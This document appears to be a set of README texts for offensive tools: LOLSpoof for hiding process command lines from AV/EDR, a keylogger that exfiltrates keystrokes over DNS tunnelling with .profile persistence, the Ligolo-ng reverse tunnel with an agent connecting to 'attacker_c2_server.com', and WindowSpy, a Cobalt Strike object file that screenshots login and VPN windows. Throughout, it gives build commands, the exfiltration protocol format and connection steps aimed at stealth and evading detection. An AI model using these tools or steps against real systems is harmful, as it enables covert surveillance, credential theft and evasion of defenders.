LOLSpoof is a an interactive shell program that automatically spoof the command line arguments of the spawned process. Just call your incriminate-looking command line LOLBin (e.g. powershell -w hidden -enc ZwBlAHQALQBwAHIAbwBjAGUA....) and LOLSpoof will ensure that the process creation telemetry appears legitimate and clear.
Process command line is a very monitored telemetry, being thoroughly inspected by AV/EDRs, SOC analysts or threat hunters.

lolbin.exe " " * sizeof(real arguments)
Although this simple technique helps to bypass command line detection, it may introduce other suspicious telemetry: 1. Creation of suspended process 2. The new process has trailing spaces (but it's really easy to make it a repeated character or even random data instead) 3. Write to the spawned process with WriteProcessMemory
Built with Nim 1.6.12 (compiling with Nim 2.X yields errors!)

Programs that clear or change the previous printed console messages (such as timeout.exe 10) breaks the program. when such commands are employed, you'll need to restart the console. Don't know how to fix that, open to suggestions.

This post-exploitation keylogger will covertly exfiltrate keystrokes to a server.
These tools excel at lightweight exfiltration and persistence, properties which will prevent detection. It uses DNS tunelling/exfiltration to bypass firewalls and avoid detection.
The server uses python3.
To install dependencies, run python3 -m pip install -r requirements.txt
To start the server, run python3 main.py
usage: dns exfiltration server [-h] [-p PORT] ip domain
positional arguments:
ip
domain
options:
-h, --help show this help message and exit
-p PORT, --port PORT port to listen on
By default, the server listens on UDP port 53. Use the -p flag to specify a different port.
ip is the IP address of the server. It is used in SOA and NS records, which allow other nameservers to find the server.
domain is the domain to listen for, which should be the domain that the server is authoritative for.
On the registrar, you want to change your domain's namespace to custom DNS.
Point them to two domains, ns1.example.com and ns2.example.com.
Add records that make point the namespace domains to your exfiltration server's IP address.
This is the same as setting glue records.
The Linux keylogger is two bash scripts. connection.sh is used by the logger.sh script to send the keystrokes to the server. If you want to manually send data, such as a file, you can pipe data to the connection.sh script. It will automatically establish a connection and send the data.
logger.sh# Usage: logger.sh [-options] domain
# Positional Arguments:
# domain: the domain to send data to
# Options:
# -p path: give path to log file to listen to
# -l: run the logger with warnings and errors printed
To start the keylogger, run the command ./logger.sh [domain] && exit. This will silently start the keylogger, and any inputs typed will be sent. The && exit at the end will cause the shell to close on exit. Without it, exiting will bring you back to the non-keylogged shell. Remove the &> /dev/null to display error messages.
The -p option will specify the location of the temporary log file where all the inputs are sent to. By default, this is /tmp/.
The -l option will show warnings and errors. Can be useful for debugging.
logger.sh and connection.sh must be in the same directory for the keylogger to work. If you want persistance, you can add the command to .profile to start on every new interactive shell.
connection.shUsage: command [-options] domain
Positional Arguments:
domain: the domain to send data to
Options:
-n: number of characters to store before sending a packet
To build keylogging program, run make in the windows directory. To build with reduced size and some amount of obfuscation, make the production target. This will create the build directory for you and output to a file named logger.exe in the build directory.
make production domain=example.com
You can also choose to build the program with debugging by making the debug target.
make debug domain=example.com
For both targets, you will need to specify the domain the server is listening for.
You can use dig to send requests to the server:
dig @127.0.0.1 a.1.1.1.example.com A +short send a connection request to a server on localhost.
dig @127.0.0.1 b.1.1.54686520717569636B2062726F776E20666F782E1B.example.com A +short send a test message to localhost.
Replace example.com with the domain the server is listening for.
A record requests starting with a indicate the start of a "connection." When the server receives them, it will respond with a fake non-reserved IP address where the last octet contains the id of the client.
The following is the format to follow for starting a connection: a.1.1.1.[sld].[tld].
The server will respond with an IP address in following format: 123.123.123.[id]
Concurrent connections cannot exceed 254, and clients are never considered "disconnected."
A record requests starting with b indicate exfiltrated data being sent to the server.
The following is the format to follow for sending data after establishing a connection: b.[packet #].[id].[data].[sld].[tld].
The server will respond with [code].123.123.123
id is the id that was established on connection. Data is sent as ASCII encoded in hex.
code is one of the codes described below.
200: OKIf the client sends a request that is processed normally, the server will respond with code 200.
201: Malformed Record RequestsIf the client sends an malformed record request, the server will respond with code 201.
202: Non-Existant ConnectionsIf the client sends a data packet with an id greater than the # of connections, the server will respond with code 202.
203: Out of Order PacketsIf the client sends a packet with a packet id that doesn't match what is expected, the server will respond with code 203. Clients and servers should reset their packet numbers to 0. Then the client can resend the packet with the new packet id.
204 Reached Max ConnectionIf the client attempts to create a connection when the max has reached, the server will respond with code 204.
Clients should rely on responses as acknowledgements of received packets. If they do not receive a response, they should resend the same payload.
The log file containing user inputs contains ASCII control characters, such as backspace, delete, and carriage return. If you print the contents using something like cat, you should select the appropriate option to print ASCII control characters, such as -v for cat, or open it in a text-editor.
The keylogger relies on script, so the keylogger won't run in non-interactive shells.
For some reason, the Windows Dns_Query_A always sends duplicate requests. The server will process it fine because it discards repeated packets.
Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).
Instead of using a SOCKS proxy or TCP/UDP forwarders, Ligolo-ng creates a userland network stack using Gvisor.
When running the relay/proxy server, a tun interface is used, packets sent to this interface are translated, and then transmitted to the agent remote network.
As an example, for a TCP connection:
This allows running tools like nmap without the use of proxychains (simpler and faster).
Precompiled binaries (Windows/Linux/macOS) are available on the Release page.
Building ligolo-ng (Go >= 1.20 is required):
$ go build -o agent cmd/agent/main.go
$ go build -o proxy cmd/proxy/main.go
# Build for Windows
$ GOOS=windows go build -o agent.exe cmd/agent/main.go
$ GOOS=windows go build -o proxy.exe cmd/proxy/main.goWhen using Linux, you need to create a tun interface on the Proxy Server (C2):
$ sudo ip tuntap add user [your_username] mode tun ligolo
$ sudo ip link set ligolo upYou need to download the Wintun driver (used by WireGuard) and place the wintun.dll in the same folder as Ligolo (make sure you use the right architecture).
Start the proxy server on your Command and Control (C2) server (default port 11601):
$ ./proxy -h # Help options
$ ./proxy -autocert # Automatically request LetsEncrypt certificatesWhen using the -autocert option, the proxy will automatically request a certificate (using Let's Encrypt) for attacker_c2_server.com when an agent connects.
Port 80 needs to be accessible for Let's Encrypt certificate validation/retrieval
If you want to use your own certificates for the proxy server, you can use the -certfile and -keyfile parameters.
The proxy/relay can automatically generate self-signed TLS certificates using the -selfcert option.
The -ignore-cert option needs to be used with the agent.
Beware of man-in-the-middle attacks! This option should only be used in a test environment or for debugging purposes.
Start the agent on your target (victim) computer (no privileges are required!):
$ ./agent -connect attacker_c2_server.com:11601If you want to tunnel the connection over a SOCKS5 proxy, you can use the
--socks ip:portoption. You can specify SOCKS credentials using the--socks-userand--socks-passarguments.
A session should appear on the proxy server.
INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000"
Use the session command to select the agent.
ligolo-ng » session
? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000
Display the network configuration of the agent using the ifconfig command:

$ rdesktop 192.168.0.123
[...]You can listen to ports on the agent and redirect connections to your control/proxy server.
In a ligolo session, use the listener_add command.
The following example will create a TCP listening socket on the agent (0.0.0.0:1234) and redirect connections to the 4321 port of the proxy server.
[Agent : nchatelain@nworkstation] » listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
INFO[1208] Listener created on remote agent!
On the proxy:
$ nc -lvp 4321When a connection is made on the TCP port 1234 of the agent, nc will receive the connection.
This is very useful when using reverse tcp/udp payloads.
You can view currently running listeners using the listener_list command and stop them using the listener_stop [ID] command:
[Agent : nchatelain@nworkstation] » listener_list

On the agent side, no! Everything can be performed without administrative access.
However, on your relay/proxy server, you need to be able to create a tun interface.

WindowSpy is a Cobalt Strike Beacon Object File meant for targetted user surveillance. The goal of this project was to trigger surveillance capabilities only on certain targets, e.g. browser login pages, confidential documents, vpn logins etc. The purpose was to increase stealth during user surveillance by preventing detection of repeated use of surveillance capabilities e.g. screenshots. It also saves the red team time in sifting through many pages of user surveillance data, which would be produced if keylogging/screenwatch was running at all times.
Each time a beacon checks in, the BOF runs on the target. The BOF comes with a hardcoded list of strings that are common in useful window titles e.g. login, administrator, control panel, vpn etc. You can customize this list and recompile yourself. It enumerates the visible windows and compares the titles to the list of strings, and if any of these are detected, it triggers a local aggressorscript function defined in WindowSpy.cna named spy(). By default, it takes a screenshot. You may customize this function however you want, e.g. keylogging, WireTap, webcam, etc.
The spy() function has 1 argument, $1 being the beacon id of the beacon that triggered it.
I built this because I was bored, and was messing with user surveillance. If there are bugs, open an issue. If there are any issues with the design, feel free to open an issue too.
